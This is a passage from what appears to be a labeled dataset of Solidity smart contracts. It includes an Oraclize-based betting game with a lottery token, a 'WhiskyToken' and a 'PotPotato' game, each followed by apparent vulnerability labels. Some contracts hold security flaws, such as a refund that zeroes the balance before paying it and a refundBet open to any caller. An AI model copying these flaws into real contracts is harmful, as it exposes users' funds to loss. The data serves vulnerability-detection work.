copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
}
contract Game is usingOraclize, Ownable {
using SafeMath for uint;
uint public constant GAME_COIN_FlIP = 0;
uint public constant GAME_DICE = 1;
uint public constant GAME_TWO_DICE = 2;
uint public constant GAME_ETHEROLL = 3;
uint public constant LOTTERY_FEE = 0.002 ether;
uint public constant BENEFICIAR_FEE_PERCENT = 2;
uint public constant MIN_BET = 0.01 ether;
struct Query {
uint amount;
address gamer;
uint[] values;
uint prize;
uint range;
uint game;
uint time;
bool ended;
}
mapping(bytes32 => Query) public queries;
mapping(address => uint) public waitingPrizes;
mapping(address => bool) public isBet;
mapping(address => uint) public betsBalances;
mapping(address => uint) public minRanges;
mapping(address => uint) public maxRanges;
address[] public tokensHolders;
address[] public players;
bytes32 public lotteryQueryId;
uint public lotterySize;
uint public lotteryStage;
uint public lotteryRound;
uint public lastLotteryTime;
uint public lastSendBonusTokensTime;
uint public callbackGas;
uint public beneficiarFund;
address public beneficiar;
BonusToken public token;
uint private playersIndex;
event PlaceBet(address indexed gamer, bytes32 queryId);
event Bet(address indexed gamer, uint indexed game, uint amount, uint result, uint[] winResult, uint prize, uint timestamp);
event WinLottery(address indexed gamer, uint prize, uint ticketsAmount, uint indexed round);
constructor(address startBeneficiar) public valideAddress(startBeneficiar) {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(5000000000);
callbackGas = 300000;
beneficiar = startBeneficiar;
}
modifier valideAddress(address addr) {
require(addr != address(0));
_;
}
function placeBet(uint game, uint[] values) payable external {
require(msg.value >= MIN_BET);
require(game == GAME_COIN_FlIP || game == GAME_DICE || game == GAME_TWO_DICE || game == GAME_ETHEROLL);
require(valideBet(game, values));
uint range;
uint winChance;
if (game == GAME_COIN_FlIP) {
require(values.length == 1);
range = 2;
winChance = 5000;
} else if (game == GAME_DICE) {
require(values.length <= 5);
range = 6;
winChance = 1667;
winChance = winChance.mul(values.length);
} else if (game == GAME_TWO_DICE) {
require(values.length <= 10);
range = 11;
for (uint i = 0; i < values.length; i++) {
if (values[i] == 0 || values[i] == 10) winChance = winChance.add(278);
else if (values[i] == 1 || values[i] == 9) winChance = winChance.add(556);
else if (values[i] == 2 || values[i] == 8) winChance = winChance.add(833);
else if (values[i] == 3 || values[i] == 7) winChance = winChance.add(1111);
else if (values[i] == 4 || values[i] == 6) winChance = winChance.add(1389);
else if (values[i] == 5) winChance = winChance.add(1667);
}
} else if (game == GAME_ETHEROLL) {
require(values.length == 1);
range = 100;
winChance = uint(100).mul(values[0] + 1);
}
address sender = msg.sender;
uint weiAmount = msg.value;
if (!isBet[sender]) {
players.push(sender);
isBet[sender] = true;
}
bytes32 queryId = random();
weiAmount = fee(weiAmount);
betsBalances[sender] = betsBalances[sender].add(weiAmount);
uint prize = weiAmount.mul(10000).div(winChance);
newQuery(queryId, msg.value, sender, values, prize, range);
queries[queryId].game = game;
emit PlaceBet(sender, queryId);
}
function lottery() external onlyOwner valideAddress(address(token)) {
require(now - lastLotteryTime >= 24 hours);
require(token.ethLotteryBank() > 0);
require(lotterySize > 0);
if (!token.isEthLottery()) {
address[] memory lotteryParticipants = token.ethLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = token.ethLotteryBalances(participant);
if (participantBalance > 0) {
tokensHolders.push(participant);
}
}
updateLotteryRanges();
lotteryRound++;
}
token.startEthLottery();
lotteryQueryId = random();
}
function sendBonusTokens(uint playersIterations) external onlyOwner {
require(now - lastSendBonusTokensTime >= 24 hours);
uint playersIterationsNumber;
if (players.length.sub(playersIndex) < playersIterations) {
playersIterationsNumber = players.length.sub(playersIndex);
} else {
playersIterationsNumber = playersIterations;
}
for (uint i; i < playersIterationsNumber; i++) {
address player = players[playersIndex];
uint tokensAmount;
uint betBalance = betsBalances[player];
while (betBalance >= 1 ether) {
tokensAmount = tokensAmount.add(100);
betBalance = betBalance.sub(1 ether);
}
if (tokensAmount > 0) {
token.buyTokens(player, tokensAmount);
}
playersIndex++;
}
if (playersIndex == players.length) {
playersIndex = 0;
lastSendBonusTokensTime = now;
}
}
function refund() external {
require(waitingPrizes[msg.sender] > 0, '0');
require(address(this).balance >= waitingPrizes[msg.sender]);
waitingPrizes[msg.sender] = 0;
msg.sender.transfer(waitingPrizes[msg.sender]);
}
function refundBet(bytes32 queryId) external {
require(!queries[queryId].ended);
require(now - queries[queryId].time > 24 hours);
queries[queryId].ended = true;
msg.sender.transfer(queries[queryId].amount);
}
function getPlayers() external view returns(address[]) {
return players;
}
function setOraclizeGasPrice(uint gasPrice) external onlyOwner {
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeGasLimit(uint gasLimit) external onlyOwner {
callbackGas = gasLimit;
}
function setBeneficiarAddress(address newBeneficiar) external onlyOwner valideAddress(newBeneficiar) {
beneficiar = newBeneficiar;
}
function setTokenAddress(address tokenAddress) external onlyOwner valideAddress(tokenAddress) {
token = BonusToken(tokenAddress);
}
function getFund(uint weiAmount) external onlyOwner {
msg.sender.transfer(weiAmount);
}
function getBeneficiarFund() external {
require(msg.sender == beneficiar);
uint256 fund = beneficiarFund;
beneficiarFund = 0;
beneficiar.transfer(fund);
}
function __callback(bytes32 myId, string result, bytes proof) public {
require((msg.sender == oraclize_cbAddress()), 'Sender must be Oraclize');
Query storage query = queries[myId];
require(!query.ended);
uint randomNumber;
uint i;
if (query.gamer != address(0)) {
if (oraclize_randomDS_proofVerify__returnCode(myId, result, proof) != 0) {
sendWin(query.gamer, query.amount);
} else {
randomNumber = uint(keccak256(result)) % query.range;
bool isWin;
for (i = 0; i < query.values.length; i++) {
if (query.game == GAME_ETHEROLL) {
if (randomNumber <= query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
}
} else {
if (randomNumber == query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
break;
}
}
}
if (isWin) {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, query.prize, now);
} else {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, 0, now);
}
}
query.ended = true;
} else if (myId == lotteryQueryId) {
require(oraclize_randomDS_proofVerify__returnCode(myId, result, proof) == 0);
randomNumber = uint(keccak256(result)) % token.ethLotteryBank();
uint prize = 0;
if (lotteryStage == 0) {
prize = lotterySize.div(2);
} else if (lotteryStage == 1) {
prize = lotterySize.div(4);
} else if (lotteryStage == 2) {
prize = lotterySize.mul(12).div(100);
} else if (lotteryStage == 3) {
prize = lotterySize.mul(8).div(100);
} else {
prize = lotterySize.div(20);
}
for (i = 0; i < tokensHolders.length; i++) {
address tokensHolder = tokensHolders[i];
if (randomNumber >= minRanges[tokensHolder] && randomNumber < maxRanges[tokensHolder]) {
deleteTokensHolder(i);
sendWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, token.ethLotteryBalances(tokensHolder), lotteryRound);
lotteryStage++;
updateLotteryRanges();
token.updateEthLotteryBank(token.ethLotteryBalances(tokensHolder));
break;
}
}
if (lotteryStage == 5 || tokensHolders.length == 0) {
tokensHolders = new address[](0);
lotterySize = 0;
lotteryStage = 0;
lastLotteryTime = now;
token.restartEthLottery();
} else {
lotteryQueryId = random();
}
}
}
function updateLotteryRanges() private {
uint range = 0;
for (uint i = 0; i < tokensHolders.length; i++) {
address participant = tokensHolders[i];
uint participantBalance = token.ethLotteryBalances(participant);
minRanges[participant] = range;
range = range.add(participantBalance);
maxRanges[participant] = range;
}
}
function valideBet(uint game, uint[] values) private pure returns(bool) {
require(values.length > 0);
for (uint i = 0; i < values.length; i++) {
if (i == 0) {
if (game == GAME_ETHEROLL && values[i] > 96) {
return false;
}
}
if (i != values.length - 1) {
if (values[i + 1] <= values[i]) {
return false;
}
}
}
return true;
}
function fee(uint weiAmount) private returns(uint) {
uint beneficiarFee = weiAmount.mul(BENEFICIAR_FEE_PERCENT).div(100);
beneficiarFund = beneficiarFund.add(beneficiarFee);
lotterySize = lotterySize.add(LOTTERY_FEE);
weiAmount = weiAmount.sub(beneficiarFee).sub(LOTTERY_FEE);
return weiAmount;
}
function newQuery(bytes32 queryId, uint amount, address gamer, uint[] values, uint prize, uint range) private {
queries[queryId].gamer = gamer;
queries[queryId].amount = amount;
queries[queryId].values = values;
queries[queryId].prize = prize;
queries[queryId].range = range;
queries[queryId].time = now;
}
function random() private returns(bytes32 queryId) {
require(address(this).balance >= oraclize_getPrice('random', callbackGas));
queryId = oraclize_newRandomDSQuery(0, 4, callbackGas);
require(queryId != 0, 'Oraclize error');
}
function sendWin(address winner, uint weiAmount) private {
if (address(this).balance >= weiAmount) {
winner.transfer(weiAmount);
} else {
waitingPrizes[winner] = waitingPrizes[winner].add(weiAmount);
}
}
function deleteTokensHolder(uint index) private {
tokensHolders[index] = tokensHolders[tokensHolders.length - 1];
delete tokensHolders[tokensHolders.length - 1];
tokensHolders.length--;
}
} | 0 | 1,527 |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Operated {
mapping(address => bool) private _ops;
event OperatorChanged(
address indexed operator,
bool active
);
constructor() internal {
_ops[msg.sender] = true;
emit OperatorChanged(msg.sender, true);
}
modifier onlyOps() {
require(isOps(), "only operations accounts are allowed to call this function");
_;
}
function isOps() public view returns(bool) {
return _ops[msg.sender];
}
function setOps(address _account, bool _active) public onlyOps {
_ops[_account] = _active;
emit OperatorChanged(_account, _active);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract WhiskyToken is IERC20, Ownable, Operated {
using SafeMath for uint256;
using SafeMath for uint64;
string public name = "Whisky Token";
string public symbol = "WHY";
uint8 public decimals = 18;
uint256 public initialSupply = 28100000 * (10 ** uint256(decimals));
uint256 public totalSupply;
address public crowdSaleContract;
uint64 public assetValue;
uint64 public feeCharge;
bool public freezeTransfer;
bool private tokenAvailable;
uint64 private constant feeChargeMax = 20;
address private feeReceiver;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => bool) public frozenAccount;
event Fee(address indexed payer, uint256 fee);
event FeeCharge(uint64 oldValue, uint64 newValue);
event AssetValue(uint64 oldValue, uint64 newValue);
event Burn(address indexed burner, uint256 value);
event FrozenFunds(address indexed target, bool frozen);
event FreezeTransfer(bool frozen);
constructor(address _tokenOwner) public {
transferOwnership(_tokenOwner);
setOps(_tokenOwner, true);
crowdSaleContract = msg.sender;
feeReceiver = _tokenOwner;
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
assetValue = 0;
feeCharge = 15;
freezeTransfer = true;
tokenAvailable = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
if (!tokenAvailable) {
return 0;
}
return balances[_owner];
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0), "zero address is not allowed");
require(_value >= 1000, "must transfer more than 1000 sip");
require(!freezeTransfer || isOps(), "all transfers are currently frozen");
require(!frozenAccount[_from], "sender address is frozen");
require(!frozenAccount[_to], "receiver address is frozen");
uint256 transferValue = _value;
if (msg.sender != owner() && msg.sender != crowdSaleContract) {
uint256 fee = _value.div(1000).mul(feeCharge);
transferValue = _value.sub(fee);
balances[feeReceiver] = balances[feeReceiver].add(fee);
emit Fee(msg.sender, fee);
emit Transfer(_from, feeReceiver, fee);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(transferValue);
if (tokenAvailable) {
emit Transfer(_from, _to, transferValue);
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender], "requesting more token than allowed");
_transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!freezeTransfer || isOps(), "all transfers are currently frozen");
require(_spender != address(0), "zero address is not allowed");
require(_value >= 1000, "must approve more than 1000 sip");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
require(!freezeTransfer || isOps(), "all transfers are currently frozen");
require(_spender != address(0), "zero address is not allowed");
require(_addedValue >= 1000, "must approve more than 1000 sip");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
require(!freezeTransfer || isOps(), "all transfers are currently frozen");
require(_spender != address(0), "zero address is not allowed");
require(_subtractedValue >= 1000, "must approve more than 1000 sip");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
require(!freezeTransfer || isOps(), "all transfers are currently frozen");
require(_value <= balances[msg.sender], "address has not enough token to burn");
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
function setAssetValue(uint64 _value) public onlyOwner {
uint64 oldValue = assetValue;
assetValue = _value;
emit AssetValue(oldValue, _value);
}
function setFeeCharge(uint64 _value) public onlyOwner {
require(_value <= feeChargeMax, "can not increase fee charge over it's limit");
uint64 oldValue = feeCharge;
feeCharge = _value;
emit FeeCharge(oldValue, _value);
}
function freezeAccount(address _target, bool _freeze) public onlyOwner {
require(_target != address(0), "zero address is not allowed");
frozenAccount[_target] = _freeze;
emit FrozenFunds(_target, _freeze);
}
function setFreezeTransfer(bool _freeze) public onlyOwner {
freezeTransfer = _freeze;
emit FreezeTransfer(_freeze);
}
function setFeeReceiver(address _feeReceiver) public onlyOwner {
require(_feeReceiver != address(0), "zero address is not allowed");
feeReceiver = _feeReceiver;
}
function setTokenAvailable(bool _available) public onlyOwner {
tokenAvailable = _available;
}
} | 1 | 3,987 |
pragma solidity ^0.4.18;
contract PotPotato{
address public ceoAddress;
address public hotPotatoHolder;
address public lastHotPotatoHolder;
uint256 public lastBidTime;
uint256 public contestStartTime;
uint256 public lastPot;
Potato[] public potatoes;
uint256 public BASE_TIME_TO_COOK=30 minutes;
uint256 public TIME_MULTIPLIER=5 minutes;
uint256 public TIME_TO_COOK=BASE_TIME_TO_COOK;
uint256 public NUM_POTATOES=12;
uint256 public START_PRICE=0.001 ether;
uint256 public CONTEST_INTERVAL=1 weeks;
struct Potato {
address owner;
uint256 price;
}
function PotPotato() public{
ceoAddress=msg.sender;
hotPotatoHolder=0;
contestStartTime=1520799754;
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes.push(newpotato);
}
}
function buyPotato(uint256 index) public payable{
require(block.timestamp>contestStartTime);
if(_endContestIfNeeded()){
}
else{
Potato storage potato=potatoes[index];
require(msg.value >= potato.price);
require(msg.sender != potato.owner);
require(msg.sender != ceoAddress);
uint256 sellingPrice=potato.price;
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 76), 100));
uint256 devFee= uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
if(potato.owner!=address(this)){
potato.owner.transfer(payment);
}
ceoAddress.transfer(devFee);
potato.price= SafeMath.div(SafeMath.mul(sellingPrice, 150), 76);
potato.owner=msg.sender;
hotPotatoHolder=msg.sender;
lastBidTime=block.timestamp;
TIME_TO_COOK=SafeMath.add(BASE_TIME_TO_COOK,SafeMath.mul(index,TIME_MULTIPLIER));
msg.sender.transfer(purchaseExcess);
}
}
function getBalance() public view returns(uint256 value){
return this.balance;
}
function timePassed() public view returns(uint256 time){
if(lastBidTime==0){
return 0;
}
return SafeMath.sub(block.timestamp,lastBidTime);
}
function timeLeftToContestStart() public view returns(uint256 time){
if(block.timestamp>contestStartTime){
return 0;
}
return SafeMath.sub(contestStartTime,block.timestamp);
}
function timeLeftToCook() public view returns(uint256 time){
return SafeMath.sub(TIME_TO_COOK,timePassed());
}
function contestOver() public view returns(bool){
return timePassed()>=TIME_TO_COOK;
}
function _endContestIfNeeded() private returns(bool){
if(timePassed()>=TIME_TO_COOK){
msg.sender.transfer(msg.value);
lastPot=this.balance;
lastHotPotatoHolder=hotPotatoHolder;
hotPotatoHolder.transfer(this.balance);
hotPotatoHolder=0;
lastBidTime=0;
_resetPotatoes();
_setNewStartTime();
return true;
}
return false;
}
function _resetPotatoes() private{
for(uint i = 0; i<NUM_POTATOES; i++){
Potato memory newpotato=Potato({owner:address(this),price: START_PRICE});
potatoes[i]=newpotato;
}
}
function _setNewStartTime() private{
uint256 start=contestStartTime;
while(start<block.timestamp){
start=SafeMath.add(start,CONTEST_INTERVAL);
}
contestStartTime=start;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,487 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
